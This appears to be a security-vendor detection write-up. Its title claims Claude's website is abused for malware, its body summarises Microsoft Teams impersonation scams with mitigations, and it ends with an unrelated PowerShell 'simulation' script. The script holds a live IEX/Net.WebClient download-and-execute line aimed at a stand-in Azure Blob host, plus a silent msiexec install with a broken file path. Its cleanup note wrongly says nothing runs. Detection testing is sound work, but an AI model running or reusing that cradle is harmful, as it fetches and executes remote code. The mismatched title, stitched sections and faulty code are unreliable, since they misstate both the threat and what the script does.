Claude’s Website Abused as a Malware Distribution Channel

Summary

Threat actors are abusing Microsoft Teams external chat features to run impersonation scams and deliver malicious files. Attackers use IT-themed display names and disposable Microsoft 365 tenants to appear legitimate and gain victims’ trust. After establishing contact, they frequently rely on vishing and remote monitoring and management (RMM) tools to obtain hands-on-keyboard access.

Investigation

Arctic Wolf analyzed more than 400 incidents involving Microsoft Teams external chat abuse. The investigation identified a recurring pattern in which mail bombing created urgency before attackers contacted victims through Teams while impersonating IT support. Researchers also observed a shift from .onmicrosoft.com tenants toward attacker-controlled .top domains for payload staging.

Mitigation

Organizations should replace an open external access policy with an allow-list of trusted domains in the Teams admin center. Disabling chat with unmanaged or Teams consumer accounts is also recommended. Restricting tools such as Quick Assist and blocking unsanctioned RMM software can further reduce the risk of follow-on exploitation.

Response

When suspicious external Teams chat activity is detected, organizations should verify the requester’s identity through an out-of-band communication channel. Security teams should correlate ChatCreated events with endpoint and identity telemetry to uncover potential compromise. Quickly isolating affected hosts and revoking session tokens for potentially compromised users is critical.

Simulation Execution

• Attack Narrative & Commands: The adversary’s goal is to establish persistence by installing a malicious service. To avoid detection, they attempt to download a payload from a public Azure Blob storage container. They use a PowerShell “one-liner” that combines Invoke-Expression (aliased as IEX) with a URL pointing to blob.core.windows.net. Once the script is executed in memory, it triggers the execution of msiexec.exe to install the final payload, completing the chain from initial command to system-level installation.

• Regression Test Script:

  # Simulation Script: Payload Execution via PowerShell and Azure Blob
  # This script mimics the exact patterns the rule looks for.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulating PowerShell Script Block execution with Azure Blob URL..."
  # This line triggers the EventID 4104 logic (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Downloading from $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulating MSI execution..."
  # This line triggers the EventID 4688 logic (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Cleanup Commands:

  # Cleanup: No persistent files are actually created by this simulation script 
  # as it uses dummy URLs and standard system MSI paths.
  Write-Host "[+] Simulation complete. No artifacts left on system."